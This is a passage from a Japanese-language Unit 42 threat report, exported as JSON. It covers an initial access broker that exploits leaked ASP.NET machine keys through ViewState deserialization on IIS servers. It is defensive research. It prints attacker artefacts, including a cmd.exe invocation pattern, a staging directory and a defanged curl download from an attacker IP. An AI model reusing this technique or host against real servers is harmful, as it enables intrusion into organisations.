{"id":147220,"date":"2025-07-08T07:42:35","date_gmt":"2025-07-08T14:42:35","guid":{"rendered":"https:\/\/unit42.paloaltonetworks.com\/?p=147220"},"modified":"2025-07-18T08:44:11","modified_gmt":"2025-07-18T15:44:11","slug":"initial-access-broker-exploits-leaked-machine-keys","status":"publish","type":"post","link":"https:\/\/unit42.paloaltonetworks.com\/ja\/initial-access-broker-exploits-leaked-machine-keys\/","title":{"rendered":"GoldMelody \u306e\u96a0\u3055\u308c\u305f\u30b3\u30fc\u30c9: \u30a4\u30cb\u30b7\u30e3\u30eb \u30a2\u30af\u30bb\u30b9 \u30d6\u30ed\u30fc\u30ab\u30fc\u306e\u30a4\u30f3\u30e1\u30e2\u30ea IIS \u30e2\u30b8\u30e5\u30fc\u30eb\u304c\u660e\u3089\u304b\u306b"},"content":{"rendered":"<h2><a id=\"post-147220-_heading=h.rt235w6wb4vr\"><\/a>\u30a8\u30b0\u30bc\u30af\u30c6\u30a3\u30d6 \u30b5\u30de\u30ea\u30fc<\/h2>\n<p>Unit 42 \u306e\u7814\u7a76\u8005\u306f\u3001\u6d41\u51fa\u3057\u305f\u30de\u30b7\u30f3 \u30ad\u30fc(ASP.NET\u30b5\u30a4\u30c8\u3067\u4f7f\u7528\u3055\u308c\u308b\u6697\u53f7\u30ad\u30fc)\u3092\u60aa\u7528\u3057\u3066\u6a19\u7684\u7d44\u7e54\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b\u3001\u30a4\u30cb\u30b7\u30e3\u30eb \u30a2\u30af\u30bb\u30b9\u30d6\u30ed\u30fc\u30ab\u30fc(IAB)\u306b\u3088\u308b\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3092\u767a\u898b\u3059\u308b\u3053\u3068\u306b\u6210\u529f\u3057\u307e\u3057\u305f\u3002IAB\u3068\u306f\u3001\u7d44\u7e54\u306b\u4fb5\u5165\u3057\u305d\u306e\u30a2\u30af\u30bb\u30b9\u6a29\u3092\u4ed6\u306e\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306b\u58f2\u308b\u7d44\u7e54\u3092\u6307\u3057\u307e\u3059\u3002<\/p>\n<p>\u672c\u30ec\u30dd\u30fc\u30c8\u3067\u306f\u3001\u3053\u308c\u3089\u306e\u653b\u6483\u3067\u4f7f\u7528\u3055\u308c\u305f\u30c4\u30fc\u30eb\u3092\u5206\u6790\u3057\u307e\u3059\u3002\u3053\u306e\u30a2\u30af\u30bf\u30fc\u3092<a href=\"https:\/\/unit42.paloaltonetworks.com\/ja\/from-activity-to-formal-naming\/\" target=\"_blank\" rel=\"noopener\">\u66ab\u5b9a\u30b0\u30eb\u30fc\u30d7<\/a>TGR-CRI-0045\u3068\u3057\u3066\u8ffd\u8de1\u3057\u307e\u3057\u305f\u3002\u30b0\u30eb\u30fc\u30d7\u306f\u65e5\u548c\u898b\u4e3b\u7fa9\u7684\u306a\u30a2\u30d7\u30ed\u30fc\u30c1\u3092\u3068\u3063\u3066\u304a\u308a\u3001\u30e8\u30fc\u30ed\u30c3\u30d1\u3068\u30a2\u30e1\u30ea\u30ab\u306e\u91d1\u878d\u30b5\u30fc\u30d3\u30b9\u3092\u306f\u3058\u3081\u3001\u88fd\u9020\u696d\u3001\u5378\u58f2\u30fb\u5c0f\u58f2\u696d\u3001\u30cf\u30a4\u30c6\u30af\u3001\u904b\u8f38\u30fb\u7269\u6d41\u306e\u696d\u754c\u3092\u5bfe\u8c61\u306b\u7d44\u7e54\u3092\u653b\u6483\u3057\u3066\u3044\u308b\u3053\u3068\u304c\u78ba\u8a8d\u3055\u308c\u307e\u3057\u305f\u3002<\/p>\n<p>IAB\u306f\u6d41\u51fa\u3057\u305f\u30ad\u30fc\u3092\u7528\u3044\u3066\u60aa\u610f\u306e\u3042\u308b\u30da\u30a4\u30ed\u30fc\u30c9\u306b\u7f72\u540d\u3092\u884c\u3046\u3053\u3068\u3067\u6a19\u7684\u306e\u30b5\u30fc\u30d0\u30fc\u3078\u306e\u4e0d\u6b63\u30a2\u30af\u30bb\u30b9\u3092\u6210\u529f\u3055\u305b\u3066\u304a\u308a\u3001\u3053\u306e\u30c6\u30af\u30cb\u30c3\u30af\u306fASP.NETView State\u306e\u30c7\u30b7\u30ea\u30a2\u30e9\u30a4\u30bc\u30fc\u30b7\u30e7\u30f3\u3068\u547c\u3070\u308c\u308b\u3082\u306e\u3067\u3059\u3002 \u3053\u306e\u30c6\u30af\u30cb\u30c3\u30af\u3067\u306f\u3001IAB\u306f\u60aa\u610f\u306e\u3042\u308b\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u30b5\u30fc\u30d0\u30fc\u306e\u30e1\u30e2\u30ea\u5185\u3067\u76f4\u63a5\u5b9f\u884c\u3059\u308b\u3053\u3068\u304c\u53ef\u80fd\u3067\u3042\u308a\u3001\u30c7\u30a3\u30b9\u30af\u4e0a\u306e\u5b58\u5728\u3092\u6700\u5c0f\u9650\u306b\u6291\u3048\u3001\u30d5\u30a9\u30ec\u30f3\u30b8\u30c3\u30af \u30a2\u30fc\u30c1\u30d5\u30a1\u30af\u30c8\u3092\u307b\u3068\u3093\u3069\u6b8b\u3055\u306a\u3044\u305f\u3081\u3001\u691c\u51fa\u304c\u3088\u308a\u56f0\u96e3\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<p>\u5f0a\u793e\u3067\u306f\u66ab\u5b9a\u30b0\u30eb\u30fc\u30d7TGR-CRI-0045 \u3092\u3001\u4e2d\u7a0b\u5ea6\u306e\u4fe1\u983c\u6027\u3092\u3082\u3063\u3066\u3001Gold Melody (\u5225\u540d: UNC961\u3001Prophet Spider)\u3068\u65ad\u5b9a\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u8a55\u4fa1\u306f\u3001\u4ee5\u4e0b\u306e\u91cd\u8907\u306b\u57fa\u3065\u304f\u3082\u306e\u3067\u3059\u3002<\/p>\n<ul>\n<li>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4fb5\u5bb3\u30a4\u30f3\u30b8\u30b1\u30fc\u30bf\u30fc (IoC)<\/li>\n<li>\u624b\u6cd5\u3001\u6226\u8853\u3001\u624b\u9806(TTP)<\/li>\n<li>\u88ab\u5bb3\u8005\u5b66<\/li>\n<\/ul>\n<p>\u672c\u30ec\u30dd\u30fc\u30c8\u3067\u306f\u3001TGR-CRI-0045 \u306e\u30a4\u30f3\u30d5\u30e9\u3001\u304a\u3088\u3073\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u4e0a\u306e\u4ed6\u306e\u30b7\u30b9\u30c6\u30e0\u306b\u95a2\u3059\u308b\u60c5\u5831\u3092\u53ce\u96c6\u3057\u3001\u60aa\u7528\u3055\u308c\u305f\u30b7\u30b9\u30c6\u30e0\u3078\u306e\u30a2\u30af\u30bb\u30b9\u3092\u7dad\u6301\u3059\u308b\u305f\u3081\u306b\u4f7f\u7528\u3055\u308c\u305f\u30c4\u30fc\u30eb\u306b\u3064\u3044\u3066\u3082\u5206\u6790\u3057\u3066\u3044\u307e\u3059\u3002\u30c4\u30fc\u30eb\u306f\u73fe\u5728\u3082\u958b\u767a\u304c\u7d99\u7d9a\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u304c\u5206\u304b\u308a\u307e\u3057\u305f\u3002<\/p>\n<p>\u7a83\u53d6\u3068\u30c4\u30fc\u30eb\u30c7\u30d7\u30ed\u30a4\u30e1\u30f3\u30c8\u306e\u6700\u3082\u65e9\u3044\u8a3c\u62e0\u306f2024\u5e7410\u6708\u3067\u30012025\u5e741\u6708\u4e0b\u65ec\u304b\u30893\u6708\u306b\u304b\u3051\u3066\u6d3b\u52d5\u304c\u5927\u5e45\u306b\u5897\u52a0\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u6025\u5897\u306b\u306f\u3001\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u306e\u30dd\u30fc\u30c8 \u30b9\u30ad\u30e3\u30ca\u30fc\u3084\u3001\u6c38\u7d9a\u5316(\u30a2\u30af\u30bb\u30b9\u6a29\u306e\u7dad\u6301)\u3084\u6a29\u9650\u6607\u683c(\u3088\u308a\u9ad8\u3044\u30ec\u30d9\u30eb\u306e\u30a2\u30af\u30bb\u30b9\u6a29\u306e\u7372\u5f97)\u306e\u305f\u3081\u306e\u7279\u6ce8\u30e6\u30fc\u30c6\u30a3\u30ea\u30c6\u30a3\u306a\u3069\u3001\u4e0d\u6b63\u4fb5\u5165\u5f8c\u306e\u30c4\u30fc\u30eb\u306e\u5c0e\u5165\u3082\u542b\u307e\u308c\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<p>Unit 42\u306f\u3001\u3053\u306e\u8105\u5a01\u306e\u5f71\u97ff\u3092\u53d7\u3051\u305f\u7d0412\u306e\u7d44\u7e54\u3067\u30a4\u30f3\u30b7\u30c7\u30f3\u30c8\u306e\u78ba\u8a8d\u307e\u305f\u306f\u305d\u306e\u8105\u5a01\u5bfe\u5fdc\u3092\u3057\u3066\u304a\u308a\u3001\u307b\u3068\u3093\u3069\u306e\u30b1\u30fc\u30b9\u306b\u304a\u3044\u3066\u9732\u51fa\u3057\u305f\u30de\u30b7\u30f3 \u30ad\u30fc\u304c\u6839\u672c\u539f\u56e0\u3067\u3042\u308b\u3053\u3068\u304c\u5224\u660e\u3057\u307e\u3057\u305f\u3002 \u5f93\u3063\u3066\u3001\u5f0a\u793e\u3067\u306f<a href=\"https:\/\/www.microsoft.com\/en-us\/security\/blog\/2025\/02\/06\/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys\/\" target=\"_blank\" rel=\"noopener\">Microsoft\u306e\u30ac\u30a4\u30c0\u30f3\u30b9<\/a>\u3092\u53c2\u7167\u3059\u308b\u3053\u3068\u3092\u5f37\u304f\u63a8\u5968\u3057\u3066\u304a\u308a\u3001 \u5404\u7d44\u7e54\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u62c5\u5f53\u8005\u306f\u3001ASP.NET\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8 \u30a4\u30f3\u30d5\u30a9\u30e1\u30fc\u30b7\u30e7\u30f3 \u30b5\u30fc\u30d3\u30b9(IIS)\u30b5\u30a4\u30c8\u306b\u304a\u3044\u3066\u3001\u4fb5\u5bb3\u3055\u308c\u305f\u30de\u30b7\u30f3 \u30ad\u30fc\u3092\u7279\u5b9a\u3057\u3001\u4fee\u5fa9\u3059\u308b\u77e5\u8b58\u3092\u7fd2\u5f97\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u304a\u5ba2\u69d8\u306f\u3001\u4ee5\u4e0b\u306e\u88fd\u54c1\u3092\u901a\u3058\u3066\u3001\u672c\u66f8\u3067\u53d6\u308a\u4e0a\u3052\u308b\u30c4\u30fc\u30eb\u306b\u5bfe\u3059\u308b\u78ba\u5b9f\u306a\u4fdd\u8b77\u3092\u69cb\u7bc9\u3044\u305f\u3060\u3051\u307e\u3059\u3002<\/p>\n<ul>\n<li><a href=\"https:\/\/docs.paloaltonetworks.com\/wildfire\" target=\"_blank\" rel=\"noopener\">Advanced WildFire<\/a>\u306e\u6a5f\u68b0\u5b66\u7fd2\u30e2\u30c7\u30eb\u3068\u5206\u6790\u6280\u8853\u306f\u3001\u672c\u7814\u7a76\u3067\u5171\u6709\u3055\u308c\u305f\u30a4\u30f3\u30b8\u30b1\u30fc\u30bf\u30fc\u306b\u7167\u3089\u3057\u3066\u898b\u76f4\u3055\u308c\u3001\u66f4\u65b0\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/li>\n<li><a href=\"https:\/\/docs-cortex.paloaltonetworks.com\/p\/XDR\" target=\"_blank\" rel=\"noopener\">Cortex XDR<\/a>\u306f\u3001<a href=\"https:\/\/docs-cortex.paloaltonetworks.com\/p\/XSIAM\" target=\"_blank\" rel=\"noopener\">XSIAM<\/a> IIS\u30d7\u30ed\u30c6\u30af\u30b7\u30e7\u30f3\u30e2\u30b8\u30e5\u30fc\u30eb\u306b\u3088\u308a\u3001IIS\u306e\u30c7\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u60aa\u7528\u306b\u5bfe\u3059\u308b\u4fdd\u8b77\u3092\u3059\u3050\u306b\u63d0\u4f9b\u3059\u308b\u3053\u3068\u304c\u53ef\u80fd\u3067\u3059\u3002<\/li>\n<\/ul>\n<p>\u60c5\u5831\u6f0f\u3048\u3044\u306e\u53ef\u80fd\u6027\u304c\u3042\u308b\u5834\u5408\u3001\u307e\u305f\u306f\u7dca\u6025\u306e\u6848\u4ef6\u304c\u3042\u308b\u5834\u5408\u306f\u3001<a href=\"https:\/\/start.paloaltonetworks.com\/contact-unit42.html\" target=\"_blank\" rel=\"noopener\">Unit 42\u30a4\u30f3\u30b7\u30c7\u30f3\u30c8 \u30ec\u30b9\u30dd\u30f3\u30b9 \u30c1\u30fc\u30e0<\/a>\u307e\u3067\u3054\u9023\u7d61\u304f\u3060\u3055\u3044\u3002<\/p>\n<table style=\"width: 100%;\">\n<thead>\n<tr>\n<td style=\"width: 35%;\"><b>Unit 42\u306e\u95a2\u9023\u30c8\u30d4\u30c3\u30af<\/b><\/td>\n<td style=\"width: 100%;\"><a href=\"https:\/\/unit42.paloaltonetworks.com\/ja\/tag\/microsoft-ja\/\" target=\"_blank\" rel=\"noopener\"><b>Microsoft<\/b><\/a>, <strong><a href=\"https:\/\/unit42.paloaltonetworks.com\/ja\/tag\/web-shells-ja\/\" target=\"_blank\" rel=\"noopener\">Web Shells<\/a><\/strong>, <a href=\"https:\/\/unit42.paloaltonetworks.com\/ja\/tag\/golang-ja\/\" target=\"_blank\" rel=\"noopener\"><b>Golang<\/b><\/a><\/td>\n<\/tr>\n<\/thead>\n<\/table>\n<h2><a id=\"post-147220-_heading=h.pwihz2lnnft5\"><\/a>\u30c6\u30af\u30cb\u30ab\u30eb\u5206\u6790<\/h2>\n<h4><a id=\"post-147220-_heading=h.c7uqw9dpq2bp\"><\/a>TGR-CRI-0045\u3092\u767a\u898b\u3057\u305f\u30de\u30cd\u30fc\u30b8\u30c9\u8105\u5a01\u30cf\u30f3\u30c6\u30a3\u30f3\u30b0: \u30c7\u30fc\u30bf\u7a83\u53d6\u306e\u6025\u5897<\/h4>\n<p>2025\u5e741\u670830\u65e5\u304b\u30892\u67082\u65e5\u306b\u304b\u3051\u3066\u3001Unit 42\u306f2\u3064\u306e\u9867\u5ba2\u74b0\u5883\u3067Web\u30b5\u30fc\u30d0\u30fc\u3078\u306e\u4fb5\u5165\u306b\u5bfe\u5fdc\u3057\u307e\u3057\u305f\u3002\u3069\u3061\u3089\u306e\u30b1\u30fc\u30b9\u3067\u3082\u3001IIS\u30ef\u30fc\u30ab\u30fc\u30d7\u30ed\u30bb\u30b9(<span style=\"font-family: 'courier new', courier, monospace;\">w3wp.exe<\/span>)\u304b\u3089\u30b3\u30de\u30f3\u30c9\u30b7\u30a7\u30eb\u304c\u5b9f\u884c\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u4fb5\u5165\u306b\u306f\u3001\u6b21\u306e\u3088\u3046\u306a\u5171\u901a\u306e\u7279\u5fb4\u304c\u3042\u308a\u307e\u3057\u305f\u3002<\/p>\n<ul>\n<li>\u6a19\u6e96\u51fa\u529b\u3068\u6a19\u6e96\u30a8\u30e9\u30fc\u51fa\u529b\u306e\u30ea\u30c0\u30a4\u30ec\u30af\u30c8\u3092\u4f7f\u3063\u305f<span style=\"font-family: 'courier new', courier, monospace;\">cmd.exe<\/span>\u306e\u8d77\u52d5: <span style=\"font-family: 'courier new', courier, monospace;\">cmd \/c your_command_here 2&gt;&amp;1<\/span><\/li>\n<li>\u30b9\u30c6\u30fc\u30b8\u30f3\u30b0 \u30c7\u30a3\u30ec\u30af\u30c8\u30ea: <span style=\"font-family: 'courier new', courier, monospace;\">C:\\Windows\\Temp\\111t<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">curl<\/span>\u7d4c\u7531\u3067\u53d6\u5f97\u3057\u305f\u30d5\u30a1\u30a4\u30eb: <span style=\"font-family: 'courier new', courier, monospace;\">hxxp:\/\/195.123.240[.]233:443\/atm<\/span><\/li>\n<\/ul>\n<h4><a id=\"post-147220-_heading=h.pvz1ertnqq6s\"><\/a>\u3088\u308a\u5e83\u7bc4\u306a\u8abf\u67fb<\/h4>\n<p>\u4e88\u60f3\u306b\u53cd\u3057\u3066\u3001\u5f71\u97ff\u3092\u53d7\u3051\u305f\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8\u306e\u8abf\u67fb\u3067\u306f\u3001\u6700\u8fd1\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3055\u308c\u305fWeb\u30b7\u30a7\u30eb\u306f\u898b\u3064\u304b\u308a\u307e\u305b\u3093\u3067\u3057\u305f\u3002\u3057\u304b\u3057\u3001\u8abf\u67fb\u3092\u62e1\u5927\u3057\u305f\u3068\u3053\u308d\u3001\u4ed6\u30c6\u30ca\u30f3\u30c8\u306e\u30cf\u30f3\u30ba\u30aa\u30f3 \u30ad\u30fc\u30dc\u30fc\u30c9\u306e\u4fb5\u5165\u3067\u3082\u3001\u540c\u3058<span style=\"font-family: 'courier new', courier, monospace;\">cmd.exe<\/span>\u306e\u547c\u3073\u51fa\u3057\u3068\u30b9\u30c6\u30fc\u30b8\u30f3\u30b0 \u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306e\u60aa\u7528\u304c\u884c\u308f\u308c\u3066\u3044\u305f\u3053\u3068\u304c\u660e\u3089\u304b\u306b\u306a\u308a\u307e\u3057\u305f\u3002<\/p>\n<p>\u9060\u9694\u6e2c\u5b9a\u306b\u3088\u308a\u3001\u653b\u6483\u8005\u306f\u30de\u30cd\u30fc\u30b8\u30c9.NET\u30a2\u30bb\u30f3\u30d6\u30ea(C#\u30b3\u30fc\u30c9)\u3092\u30e1\u30e2\u30ea\u306b\u76f4\u63a5\u30ed\u30fc\u30c9\u3059\u308b\u30b3\u30de\u30f3\u30c9(\u30ea\u30d5\u30ec\u30af\u30c6\u30a3\u30d6 \u30ed\u30fc\u30c7\u30a3\u30f3\u30b0)\u3092\u5b9f\u884c\u3057\u305f\u3053\u3068\u304c\u78ba\u8a8d\u3055\u308c\u307e\u3057\u305f\u3002\u3053\u306e\u60aa\u7528\u306f\u3001\u60aa\u610f\u306e\u3042\u308b\u30da\u30a4\u30ed\u30fc\u30c9\u306e\u30c7\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u3092\u4ecb\u3057\u3066\u3001<a href=\"https:\/\/www.iis.net\/\" target=\"_blank\" rel=\"noopener\">Microsoft IIS<\/a>\u3067\u5b9f\u884c\u3055\u308c\u3066\u3044\u308bASP.NET\u30b5\u30a4\u30c8\u5185\u306e\u5185\u90e8\u30d1\u30e9\u30e1\u30fc\u30bf\u3067\u3042\u308bView State\u3092\u6a19\u7684\u3068\u3057\u305f\u3082\u306e\u3067\u3059\u3002\u30c7\u30b7\u30ea\u30a2\u30e9\u30a4\u30bc\u30fc\u30b7\u30e7\u30f3\u3068\u306f\u3001\u8ee2\u9001\u307e\u305f\u306f\u4fdd\u5b58\u7528\u306b\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u305f\u30c7\u30fc\u30bf\u3092\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u5185\u90e8\u72b6\u614b\u306b\u5909\u63db\u3059\u308b\u30d7\u30ed\u30bb\u30b9\u3092\u6307\u3057\u307e\u3059\u3002<a href=\"https:\/\/www.microsoft.com\/en-us\/security\/blog\/2025\/02\/06\/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys\/\" target=\"_blank\" rel=\"noopener\">MSTIC\u304c\u5831\u544a\u3057\u3066\u3044\u308b\u3088\u3046\u306b<\/a>\u3001\u3053\u306e\u60aa\u7528\u306f\u88ab\u5bb3\u8005\u304c\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u5185\u3067\u9759\u7684\u3067\u9732\u51fa\u3057\u305f\u30de\u30b7\u30f3 \u30ad\u30fc\u3092\u4f7f\u7528\u3059\u308b\u3053\u3068\u306b\u3088\u3063\u3066\u53ef\u80fd\u306b\u306a\u3063\u305f\u3053\u3068\u304c\u7591\u308f\u308c\u307e\u3059\u3002<\/p>\n<p>IIS\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3059\u308b\u91d1\u92ad\u7684\u52d5\u6a5f\u306e\u3042\u308b\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306b\u95a2\u3059\u308b\u516c\u7684\u306a\u5831\u544a\u306f\u9650\u3089\u308c\u3066\u3044\u307e\u3059\u3002\u672c\u30ec\u30dd\u30fc\u30c8\u306f\u3053\u306e\u30ae\u30e3\u30c3\u30d7\u306b\u5bfe\u51e6\u3059\u3079\u304f\u3001\u653b\u6483\u8005\u306e\u624b\u53e3\u306b\u95a2\u3059\u308b\u6d1e\u5bdf\u3092\u63d0\u4f9b\u3059\u308b\u3082\u306e\u3067\u3042\u308a\u3001.NET\u30c7\u30b7\u30ea\u30a2\u30e9\u30a4\u30bc\u30fc\u30b7\u30e7\u30f3\u306e\u60aa\u7528\u306b\u95a2\u3059\u308b\u7406\u89e3\u3092\u6df1\u3081\u308b\u3053\u3068\u306b\u3080\u3051\u3089\u308c\u305f\u3082\u306e\u3067\u3059\u3002\u672c\u8a18\u4e8b\u3092\u901a\u3057\u305f\u60c5\u5831\u5171\u6709\u3092\u3082\u3063\u3066\u3001\u9632\u885b\u5074\u304c\u3053\u308c\u3089\u306e\u8105\u5a01\u306b\u52b9\u679c\u7684\u306b\u5bfe\u5fdc\u3067\u304d\u308b\u306b\u306a\u308b\u3053\u3068\u3092\u9858\u3044\u307e\u3059\u3002<\/p>\n<h3><a id=\"post-147220-_heading=h.s26lz92pxn2w\"><\/a>\u88ab\u5bb3\u3092\u53d7\u3051\u305f\u30b5\u30fc\u30d0\u30fc\u3092\u60aa\u7528\u3057\u305fTGR-CRI-0045\u306e\u624b\u6cd5<\/h3>\n<h4><a id=\"post-147220-_heading=h.9qh7r3xmpfh6\"><\/a>\u5165\u9580: IIS\u3068ASP.NET\u306eView State\u306e\u7a83\u53d6<\/h4>\n<p>TGR-CRI-0045\u306e\u30a2\u30af\u30bb\u30b9\u3092\u89e3\u8aac\u3059\u308b\u306b\u3042\u305f\u3063\u3066\u3001IIS\u3001ASP.NET\u3001View State\u306e\u5f79\u5272\u3092\u306f\u3058\u3081\u3001\u4fb5\u5bb3\u3055\u308c\u305f\u30ad\u30fc\u30de\u30c6\u30ea\u30a2\u30eb \u304c\u3069\u306e\u3088\u3046\u306b\u30ea\u30e2\u30fc\u30c8 \u30b3\u30fc\u30c9\u306e\u5b9f\u884c\u3092\u53ef\u80fd\u306b\u3059\u308b\u304b\u3092\u307e\u305a\u7406\u89e3\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002IIS\u306fASP.NET\u3092\u542b\u3080\u3055\u307e\u3056\u307e\u306aWeb\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u6280\u8853\u3092\u30b5\u30dd\u30fc\u30c8\u3059\u308bWeb\u30b5\u30fc\u30d0\u30fc\u3067\u3059\u3002\u3053\u306e\u30d5\u30ec\u30fc\u30e0 \u30ef\u30fc\u30af\u306b\u3088\u308a\u3001\u958b\u767a\u8005\u306fC#\u3084VB.NET\u306a\u3069\u306e.NET\u8a00\u8a9e\u3092\u4f7f\u7528\u3057\u3066\u3001\u52d5\u7684\u306a\u30b5\u30fc\u30d0\u30fc\u30b5\u30a4\u30c9 \u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u4f5c\u6210\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>ASP.NET\u306eWeb\u30b5\u30a4\u30c8\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u30d6\u30e9\u30a6\u30b6\u3068\u30b5\u30fc\u30d0\u30fc\u9593\u306e\u30a4\u30f3\u30bf\u30e9\u30af\u30b7\u30e7\u30f3\u3092\u7ba1\u7406\u3059\u308b\u305f\u3081\u306bView State\u3092\u4f7f\u7528\u3057\u3066\u3044\u307e\u3059\u3002View State\u306f\u3001\u30ea\u30af\u30a8\u30b9\u30c8\u9593\u3067\u30d5\u30ed\u30f3\u30c8\u30a8\u30f3\u30c9\u306e\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb(\u30c1\u30a7\u30c3\u30af \u30dc\u30c3\u30af\u30b9\u3084\u5165\u529b\u30d5\u30a3\u30fc\u30eb\u30c9\u306a\u3069)\u306e\u72b6\u614b\u3092\u4fdd\u6301\u3057\u3001\u30ea\u30af\u30a8\u30b9\u30c8\u306b\u542b\u307e\u308c\u308b\u3053\u306e\u60c5\u5831\u3092<span style=\"font-family: 'courier new', courier, monospace;\">__VIEWSTATE<\/span>\u3068\u3044\u3046\u96a0\u3057HTTP\u30d1\u30e9\u30e1\u30fc\u30bf\u306b\u683c\u7d0d\u3057\u307e\u3059\u3002\u3053\u306e\u30d1\u30e9\u30e1\u30fc\u30bf\u306f.NET\u306e\u69d8\u3005\u306a\u30c7\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u6280\u8853\u306b\u5bfe\u3057\u3066\u8106\u5f31\u3067\u3042\u308a\u3001\u653b\u6483\u8005\u304c\u3053\u306e\u30d1\u30e9\u30e1\u30fc\u30bf\u3092\u4fdd\u8b77\u3059\u308b\u305f\u3081\u306b\u4f7f\u7528\u3055\u308c\u308b\u30ad\u30fc\u3092\u77e5\u3063\u3066\u3044\u308b\u5834\u5408\u3001\u30ea\u30e2\u30fc\u30c8\u3067\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<p>ValidationKey(\u5b8c\u5168\u6027\u7528)\u3068\u30aa\u30d7\u30b7\u30e7\u30f3\u306eDecryptionKey\u3067\u69cb\u6210\u3055\u308c\u308b\u30de\u30b7\u30f3 \u30ad\u30fc\u306f\u3001\u30c7\u30d5\u30a9\u30eb\u30c8\u3067ASP.NET\u306eView State\u3092\u64cd\u4f5c\u304b\u3089\u4fdd\u8b77\u3057\u307e\u3059\u3002\u3057\u304b\u3057\u3001\u653b\u6483\u8005\u306f\u3001\u30b3\u30fc\u30c9\u306e\u518d\u5229\u7528\u3092\u3059\u308b\u3053\u3068\u3067\u3001\u672c\u756a\u30b5\u30a4\u30c8\u306b\u3057\u3070\u3057\u3070\u5b58\u5728\u3059\u308b\u4e00\u822c\u306b\u5165\u624b\u53ef\u80fd\u306a\u6d41\u51fa\u3057\u305f\u30de\u30b7\u30f3 \u30ad\u30fc\u306e\u30ea\u30b9\u30c8\u3092\u6d3b\u7528\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3068\u3055\u308c\u3066\u3044\u307e\u3059(\u3053\u306e\u8a18\u4e8b\u306e\u6700\u5f8c\u3067\u53c2\u7167)\u3002<\/p>\n<p>\u653b\u6483\u8005\u306f\u5b9f\u884c\u4e2d\u306e\u30b5\u30fc\u30d0\u30fc\u304b\u3089\u76f4\u63a5\u30de\u30b7\u30f3\u30ad\u30fc\u3092\u7a83\u53d6\u3059\u308b\u3053\u3068\u3082\u53ef\u80fd\u3067\u3059\u3002\u305d\u3057\u3066\u6709\u52b9\u306a\u30de\u30b7\u30f3 \u30ad\u30fc\u306e\u30bb\u30c3\u30c8\u304c\u3042\u308c\u3070\u3001\u653b\u6483\u8005\u306f\u60aa\u610f\u306e\u3042\u308b\u30c7\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u4f5c\u6210\u3057\u3001\u8106\u5f31\u306a\u30b5\u30fc\u30d0\u30fc\u3092\u30bf\u30fc\u30b2\u30c3\u30c8\u306b\u3057\u3066\u3001IIS\u30ef\u30fc\u30ab\u30fc\u30d7\u30ed\u30bb\u30b9\u306e\u30b3\u30f3\u30c6\u30ad\u30b9\u30c8\u5185\u3067\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>\u3053\u306e\u653b\u6483\u306e\u6f5c\u5728\u7684\u306a\u7bc4\u56f2\u306f\u751a\u5927\u3067\u3059\u3002View State\u306f\u3001ASP.NET\u4e0a\u3067\u5b9f\u884c\u3055\u308c\u3066\u3044\u308b\u7279\u5b9a\u306e\u30b5\u30a4\u30c8\u3084\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306b\u95a2\u4fc2\u306a\u304f\u3001\u7279\u5b9a\u306e\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u3067\u7121\u52b9\u5316\u3055\u308c\u3066\u3044\u3066\u3082\u9001\u4fe1\u3055\u308c\u308b\u304b\u3089\u3067\u3059\u3002\u6f0f\u6d29\u3057\u305f\u30de\u30b7\u30f3 